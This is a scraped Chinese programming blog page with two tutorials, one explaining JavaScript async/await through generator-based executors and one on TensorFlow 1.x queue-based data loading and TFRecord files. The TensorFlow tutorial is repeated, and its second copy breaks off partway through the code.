分類: 3C資訊

  • async/await剖析

    async/await剖析

    JavaScript是單線程的,為了避免同步阻塞可能會帶來的一些負面影響,引入了異步非阻塞機制,而對於異步執行的解決方案從最早的回調函數,到ES6Promise對象以及Generator函數,每次都有所改進,但是卻又美中不足,他們都有額外的複雜性,都需要理解抽象的底層運行機制,直到在ES7中引入了async/await,他可以簡化使用多個Promise時的同步行為,在編程的時候甚至都不需要關心這個操作是否為異步操作。

    分析

    首先使用async/await執行一組異步操作,並不需要回調嵌套也不需要寫多個then方法,在使用上甚至覺得這本身就是一個同步操作,當然在正式使用上應該將await語句放置於 try...catch代碼塊中,因為await命令後面的Promise對象,運行結果可能是rejected

    function promise(){
        return new Promise((resolve, reject) => {
           var rand = Math.random() * 2; 
           setTimeout(() => resolve(rand), 1000);
        });
    }
    
    async function asyncFunct(){
        var r1 = await promise();
        console.log(1, r1);
        var r2 = await promise();
        console.log(2, r2);
        var r3 = await promise();
        console.log(3, r3);
    }
    
    asyncFunct();
    

    async/await實際上是Generator函數的語法糖,如Promises類似於結構化回調,async/await在實現上結合了Generator函數與Promise函數,下面使用Generator函數加Thunk函數的形式實現一個與上邊相同的例子,可以看到只是將async替換成了*放置在函數右端,並將await替換成了yield,所以說async/await實際上是Generator函數的語法糖,此處唯一不同的地方在於實現了一個流程的自動管理函數run,而async/await內置了執行器,關於這個例子的實現下邊會詳述。對比來看,asyncawait,比起*yield,語義更清楚,async表示函數里有異步操作,await表示緊跟在後面的表達式需要等待結果。

    function thunkFunct(index){
        return function f(funct){
            var rand = Math.random() * 2;
            setTimeout(() => funct(rand), 1000)
        }
    }
    
    function* generator(){ 
        var r1 = yield thunkFunct();
        console.log(1, r1);
        var r2 = yield thunkFunct();
        console.log(2, r2);
        var r3 = yield thunkFunct();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            // console.log(res.value);
            res.value(next);
        }
    
        next();
    }
    
    run(generator);
    

    實現

    async函數內置了執行器,能夠實現函數執行的自動流程管理,通過Generator yield ThunkGenerator yield Promise實現一個自動流程管理,只需要編寫Generator函數以及Thunk函數或者Promise對象並傳入自執行函數,就可以實現類似於async/await的效果。

    Generator yield Thunk

    自動流程管理run函數,首先需要知道在調用next()方法時,如果傳入了參數,那麼這個參數會傳給上一條執行的yield語句左邊的變量,在這個函數中,第一次執行next時並未傳遞參數,而且在第一個yield上邊也並不存在接收變量的語句,無需傳遞參數,接下來就是判斷是否執行完這個生成器函數,在這裏並沒有執行完,那麼將自定義的next函數傳入res.value中,這裏需要注意res.value是一個函數,可以在下邊的例子中將註釋的那一行執行,然後就可以看到這個值是f(funct){...},此時我們將自定義的next函數傳遞后,就將next的執行權限交予了f這個函數,在這個函數執行完異步任務后,會執行回調函數,在這個回調函數中會觸發生成器的下一個next方法,並且這個next方法是傳遞了參數的,上文提到傳入參數後會將其傳遞給上一條執行的yield語句左邊的變量,那麼在這一次執行中會將這個參數值傳遞給r1,然後在繼續執行next,不斷往複,直到生成器函數結束運行,這樣就實現了流程的自動管理。

    function thunkFunct(index){
        return function f(funct){
            var rand = Math.random() * 2;
            setTimeout(() => funct(rand), 1000)
        }
    }
    
    function* generator(){ 
        var r1 = yield thunkFunct();
        console.log(1, r1);
        var r2 = yield thunkFunct();
        console.log(2, r2);
        var r3 = yield thunkFunct();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            // console.log(res.value);
            res.value(next);
        }
    
        next();
    }
    
    run(generator);
    

    Generator yield Promise

    相對於使用Thunk函數來做流程自動管理,使用Promise來實現相對更加簡單,Promise實例能夠知道上一次回調什麼時候執行,通過then方法啟動下一個yield,不斷繼續執行,這樣就實現了流程的自動管理。

    function promise(){
        return new Promise((resolve,reject) => {
            var rand = Math.random() * 2;
            setTimeout( () => resolve(rand), 1000);
        })
    }
    
    function* generator(){ 
        var r1 = yield promise();
        console.log(1, r1);
        var r2 = yield promise();
        console.log(2, r2);
        var r3 = yield promise();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            res.value.then(data => next(data));
        }
    
        next();
    }
    
    run(generator);
    
    // 比較完整的流程自動管理函數
    function promise(){
        return new Promise((resolve,reject) => {
            var rand = Math.random() * 2;
            setTimeout( () => resolve(rand), 1000);
        })
    }
    
    function* generator(){ 
        var r1 = yield promise();
        console.log(1, r1);
        var r2 = yield promise();
        console.log(2, r2);
        var r3 = yield promise();
        console.log(3, r3);
    }
    
    function run(generator){
        return new Promise((resolve, reject) => {
            var g = generator();
            
            var next = function(data){
                var res = null;
                try{
                    res = g.next(data);
                }catch(e){
                    return reject(e);
                }
                if(!res) return reject(null);
                if(res.done) return resolve(res.value);
                Promise.resolve(res.value).then(data => {
                    next(data);
                },(e) => {
                    throw new Error(e);
                });
            }
            
            next();
        })
       
    }
    
    run(generator).then( () => {
        console.log("Finish");
    });
    

    每日一題

    https://github.com/WindrunnerMax/EveryDay
    

    參考

    https://segmentfault.com/a/1190000007535316
    http://www.ruanyifeng.com/blog/2015/05/co.html
    http://www.ruanyifeng.com/blog/2015/05/async.html
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

  • Tensorflow 中(批量)讀取數據的案列分析及TFRecord文件的打包與讀取

    Tensorflow 中(批量)讀取數據的案列分析及TFRecord文件的打包與讀取

    內容概要:

    單一數據讀取方式:

      第一種:slice_input_producer()

    # 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
    [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

      第二種:string_input_producer()

    # 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
    file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

    reader = tf.WholeFileReader() # 定義文件讀取器
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

      !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

      !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

      !!!以上兩種方法都可以生成文件名隊列。

    (隨機)批量數據讀取方式:

    batchsize=2  # 每次讀取的樣本數量
    tf.train.batch(tensors, batch_size=batchsize)
    tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

      !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

     TFRecord文件的打包與讀取

     

     一、單一數據讀取方式

    第一種:slice_input_producer()

    def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

    案例1:

    import tensorflow as tf
    
    images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
    labels = [1, 2, 3, 4]
    
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    
    # 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)
    
    data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    print(type(data))   # <class 'list'>
    
    with tf.Session() as sess:
        # sess.run(tf.local_variables_initializer())
        sess.run(tf.local_variables_initializer())
        coord = tf.train.Coordinator()  # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器
    
        for i in range(10):
            print(sess.run(data))
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image3.jpg', 3]
    """

      !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

      !!!num_epochs設置

     

     第二種:string_input_producer()

    def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

    文件讀取器

      不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

      該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

    reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

    reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
    reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

     案例2:讀取csv文件

    iimport tensorflow as tf
    
    filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']
    
    file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    # reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
    print(type(file_queue))
    
    init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
    with tf.Session() as sess:
        sess.run(init)
        coord = tf.train.Coordinator()
        threads = tf.train.start_queue_runners(sess=sess, coord=coord)
        try:
            while not coord.should_stop():
                for i in range(6):
                    print(sess.run([key, value]))
                break
        except tf.errors.OutOfRangeError:
            print('read done')
        finally:
            coord.request_stop()
        coord.join(threads)
    
    """
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    運行結果:
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    """
    """
    reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
    運行結果:
    [b'data/B.csv:1', b'4.jpg,4']
    [b'data/B.csv:2', b'5.jpg,5']
    [b'data/B.csv:3', b'6.jpg,6']
    [b'data/C.csv:1', b'7.jpg,7']
    [b'data/C.csv:2', b'8.jpg,8']
    [b'data/C.csv:3', b'9.jpg,9']
    """

    案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

    import tensorflow as tf
    
    filename = ['1.jpg', '2.jpg']
    filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
    reader = tf.WholeFileReader()              # 文件讀取器
    key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes
    
    with tf.Session() as sess:
        tf.local_variables_initializer().run()
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)
    
        for i in range(filename.__len__()):
            image_data = sess.run(value)
            with open('img_%d.jpg' % i, 'wb') as f:
                f.write(image_data)
        coord.request_stop()
        coord.join(threads)

     

     二、(隨機)批量數據讀取方式:

      功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

    案例4:slice_input_producer() 與 batch()

    import tensorflow as tf
    import numpy as np
    
    images = np.arange(20).reshape([10, 2])
    label = np.asarray(range(0, 10))
    images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
    label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果
    
    batchsize = 6   # 每次獲取元素的數量
    input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
    image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)
    
    # 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
    # image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)
    
    with tf.Session() as sess:
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
        for cnt in range(2):
            print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
            image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
            print(image_batch_v, label_batch_v, label_batch_v.__len__())
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    第1次獲取數據,每次batch=6...
    [[ 0.  1.]
     [ 2.  3.]
     [ 4.  5.]
     [ 6.  7.]
     [ 8.  9.]
     [10. 11.]] [0 1 2 3 4 5] 6
    第2次獲取數據,每次batch=6...
    [[12. 13.]
     [14. 15.]
     [16. 17.]
     [18. 19.]
     [ 0.  1.]
     [ 2.  3.]] [6 7 8 9 0 1] 6
    """

     案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

     1 import tensorflow as tf
     2 import glob
     3 import cv2 as cv
     4 
     5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
     6     """
     7     從本地批量的讀取圖片
     8     :param filename: 圖片路徑(包括圖片的文件名),[]
     9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
    10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
    11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
    12     :return: batch_size張圖片數據, Tensor
    13     """
    14     global new_img
    15     # 創建文件隊列
    16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
    17     # 創建文件讀取器
    18     reader = tf.WholeFileReader()
    19     # 讀取文件隊列中的文件
    20     _, img_bytes = reader.read(file_queue)
    21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
    22     # 對圖片進行解碼
    23     if picture_format == ".bmp":
    24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
    25     elif picture_format == ".jpg":
    26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
    27     else:
    28         pass
    29     # 重新設置圖片的大小
    30     # new_img = tf.image.resize_images(new_img, input_image_shape)
    31     new_img = tf.reshape(new_img, input_image_shape)
    32     # 設置圖片的數據類型
    33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
    34 
    35     # return new_img
    36     return tf.train.batch([new_img], batch_size)
    37 
    38 
    39 def main():
    40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    42     print(type(image_batch))
    43     # image_path = glob.glob(r'.\*.jpg')
    44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
    45 
    46     sess = tf.Session()
    47     sess.run(tf.local_variables_initializer())
    48     tf.train.start_queue_runners(sess=sess)
    49 
    50     image_batch = sess.run(image_batch)
    51     print(type(image_batch))    # <class 'numpy.ndarray'>
    52 
    53     for i in range(image_batch.__len__()):
    54         cv.imshow("win_"+str(i), image_batch[i])
    55     cv.waitKey()
    56     cv.destroyAllWindows()
    57 
    58 def start():
    59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
    62 
    63 
    64     with tf.Session() as sess:
    65         sess.run(tf.local_variables_initializer())
    66         coord = tf.train.Coordinator()      # 線程的協調器
    67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    68         image_batch = sess.run(image_batch)
    69         print(type(image_batch))    # <class 'numpy.ndarray'>
    70 
    71         for i in range(image_batch.__len__()):
    72             cv.imshow("win_"+str(i), image_batch[i])
    73         cv.waitKey()
    74         cv.destroyAllWindows()
    75 
    76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
    77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
    78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
    79         coord.request_stop()
    80         coord.join(threads)
    81 
    82 
    83 if __name__ == "__main__":
    84     # main()
    85     start()

    從本地批量的讀取圖片案例

     

    案列6:TFRecord文件打包與讀取

     1 def write_TFRecord(filename, data, labels, is_shuffler=True):
     2     """
     3     將數據打包成TFRecord格式
     4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
     5     :param data: 需要打包的文件路徑名;list
     6     :param labels: 對應文件的標籤;list
     7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
     8     :return: None
     9     """
    10     im_data = list(data)
    11     im_labels = list(labels)
    12 
    13     index = [i for i in range(im_data.__len__())]
    14     if is_shuffler:
    15         np.random.shuffle(index)
    16 
    17     # 創建寫入器,然後使用該對象寫入樣本example
    18     writer = tf.python_io.TFRecordWriter(filename)
    19     for i in range(im_data.__len__()):
    20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
    21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
    22 
    23         # # 獲取當前的圖片數據  方式一:
    24         # data = cv2.imread(im_d)
    25         # # 創建樣本
    26         # ex = tf.train.Example(
    27         #     features=tf.train.Features(
    28         #         feature={
    29         #             "image": tf.train.Feature(
    30         #                 bytes_list=tf.train.BytesList(
    31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
    32         #             "label": tf.train.Feature(
    33         #                 int64_list=tf.train.Int64List(
    34         #                     value=[im_l])),
    35         #         }
    36         #     )
    37         # )
    38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
    39         data = tf.gfile.FastGFile(im_d, "rb").read()
    40         ex = tf.train.Example(
    41             features=tf.train.Features(
    42                 feature={
    43                     "image": tf.train.Feature(
    44                         bytes_list=tf.train.BytesList(
    45                             value=[data])), # 此時的data已經是bytes類型
    46                     "label": tf.train.Feature(
    47                         int64_list=tf.train.Int64List(
    48                             value=[im_l])),
    49                 }
    50             )
    51         )
    52 
    53         # 寫入將序列化之後的樣本
    54         writer.write(ex.SerializeToString())
    55     # 關閉寫入器
    56     writer.close()

    TFRecord文件打包案列

     

     1 import tensorflow as tf
     2 import cv2
     3 
     4 def read_TFRecord(file_list, batch_size=10):
     5     """
     6     讀取TFRecord文件
     7     :param file_list: 存放TFRecord的文件名,List
     8     :param batch_size: 每次讀取圖片的數量
     9     :return: 解析後圖片及對應的標籤
    10     """
    11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
    12     reader = tf.TFRecordReader()
    13     _, ex = reader.read(file_queue)
    14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
    15 
    16     feature = {
    17         'image': tf.FixedLenFeature([], tf.string),
    18         'label': tf.FixedLenFeature([], tf.int64)
    19     }
    20     example = tf.parse_example(batch, features=feature)
    21 
    22     images = tf.decode_raw(example['image'], tf.uint8)
    23     images = tf.reshape(images, [-1, 32, 32, 3])
    24 
    25     return images, example['label']
    26 
    27 
    28 
    29 def main():
    30     # filelist = ['data/train.tfrecord']
    31     filelist = ['data/test.tfrecord']
    32     images, labels = read_TFRecord(filelist, 2)
    33     with tf.Session() as sess:
    34         sess.run(tf.local_variables_initializer())
    35         coord = tf.train.Coordinator()
    36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    37 
    38         try:
    39             while not coord.should_stop():
    40                 for i in range(1):
    41                     image_bth, _ = sess.run([images, labels])
    42                     print(_)
    43 
    44                     cv2.imshow("image_0", image_bth[0])
    45                     cv2.imshow("image_1", image_bth[1])
    46                 break
    47         except tf.errors.OutOfRangeError:
    48             print('read done')
    49         finally:
    50             coord.request_stop()
    51         coord.join(threads)
    52         cv2.waitKey(0)
    53         cv2.destroyAllWindows()
    54 
    55 if __name__ == "__main__":
    56     main()

    TFReord文件的讀取案列

     

    ,

    內容概要:

    單一數據讀取方式:

      第一種:slice_input_producer()

    # 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
    [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

      第二種:string_input_producer()

    # 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
    file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

    reader = tf.WholeFileReader() # 定義文件讀取器
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

      !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

      !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

      !!!以上兩種方法都可以生成文件名隊列。

    (隨機)批量數據讀取方式:

    batchsize=2  # 每次讀取的樣本數量
    tf.train.batch(tensors, batch_size=batchsize)
    tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

      !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

     TFRecord文件的打包與讀取

     

     一、單一數據讀取方式

    第一種:slice_input_producer()

    def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

    案例1:

    import tensorflow as tf
    
    images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
    labels = [1, 2, 3, 4]
    
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    
    # 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)
    
    data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    print(type(data))   # <class 'list'>
    
    with tf.Session() as sess:
        # sess.run(tf.local_variables_initializer())
        sess.run(tf.local_variables_initializer())
        coord = tf.train.Coordinator()  # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器
    
        for i in range(10):
            print(sess.run(data))
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image3.jpg', 3]
    """

      !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

      !!!num_epochs設置

     

     第二種:string_input_producer()

    def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

    文件讀取器

      不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

      該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

    reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

    reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
    reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

     案例2:讀取csv文件

    iimport tensorflow as tf
    
    filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']
    
    file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    # reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
    print(type(file_queue))
    
    init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
    with tf.Session() as sess:
        sess.run(init)
        coord = tf.train.Coordinator()
        threads = tf.train.start_queue_runners(sess=sess, coord=coord)
        try:
            while not coord.should_stop():
                for i in range(6):
                    print(sess.run([key, value]))
                break
        except tf.errors.OutOfRangeError:
            print('read done')
        finally:
            coord.request_stop()
        coord.join(threads)
    
    """
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    運行結果:
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    """
    """
    reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
    運行結果:
    [b'data/B.csv:1', b'4.jpg,4']
    [b'data/B.csv:2', b'5.jpg,5']
    [b'data/B.csv:3', b'6.jpg,6']
    [b'data/C.csv:1', b'7.jpg,7']
    [b'data/C.csv:2', b'8.jpg,8']
    [b'data/C.csv:3', b'9.jpg,9']
    """

    案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

    import tensorflow as tf
    
    filename = ['1.jpg', '2.jpg']
    filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
    reader = tf.WholeFileReader()              # 文件讀取器
    key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes
    
    with tf.Session() as sess:
        tf.local_variables_initializer().run()
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)
    
        for i in range(filename.__len__()):
            image_data = sess.run(value)
            with open('img_%d.jpg' % i, 'wb') as f:
                f.write(image_data)
        coord.request_stop()
        coord.join(threads)

     

     二、(隨機)批量數據讀取方式:

      功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

    案例4:slice_input_producer() 與 batch()

    import tensorflow as tf
    import numpy as np
    
    images = np.arange(20).reshape([10, 2])
    label = np.asarray(range(0, 10))
    images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
    label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果
    
    batchsize = 6   # 每次獲取元素的數量
    input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
    image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)
    
    # 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
    # image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)
    
    with tf.Session() as sess:
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
        for cnt in range(2):
            print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
            image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
            print(image_batch_v, label_batch_v, label_batch_v.__len__())
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    第1次獲取數據,每次batch=6...
    [[ 0.  1.]
     [ 2.  3.]
     [ 4.  5.]
     [ 6.  7.]
     [ 8.  9.]
     [10. 11.]] [0 1 2 3 4 5] 6
    第2次獲取數據,每次batch=6...
    [[12. 13.]
     [14. 15.]
     [16. 17.]
     [18. 19.]
     [ 0.  1.]
     [ 2.  3.]] [6 7 8 9 0 1] 6
    """

     案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

     1 import tensorflow as tf
     2 import glob
     3 import cv2 as cv
     4 
     5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
     6     """
     7     從本地批量的讀取圖片
     8     :param filename: 圖片路徑(包括圖片的文件名),[]
     9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
    10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
    11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
    12     :return: batch_size張圖片數據, Tensor
    13     """
    14     global new_img
    15     # 創建文件隊列
    16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
    17     # 創建文件讀取器
    18     reader = tf.WholeFileReader()
    19     # 讀取文件隊列中的文件
    20     _, img_bytes = reader.read(file_queue)
    21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
    22     # 對圖片進行解碼
    23     if picture_format == ".bmp":
    24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
    25     elif picture_format == ".jpg":
    26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
    27     else:
    28         pass
    29     # 重新設置圖片的大小
    30     # new_img = tf.image.resize_images(new_img, input_image_shape)
    31     new_img = tf.reshape(new_img, input_image_shape)
    32     # 設置圖片的數據類型
    33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
    34 
    35     # return new_img
    36     return tf.train.batch([new_img], batch_size)
    37 
    38 
    39 def main():
    40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    42     print(type(image_batch))
    43     # image_path = glob.glob(r'.\*.jpg')
    44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
    45 
    46     sess = tf.Session()
    47     sess.run(tf.local_variables_initializer())
    48     tf.train.start_queue_runners(sess=sess)
    49 
    50     image_batch = sess.run(image_batch)
    51     print(type(image_batch))    # <class 'numpy.ndarray'>
    52 
    53     for i in range(image_batch.__len__()):
    54         cv.imshow("win_"+str(i), image_batch[i])
    55     cv.waitKey()
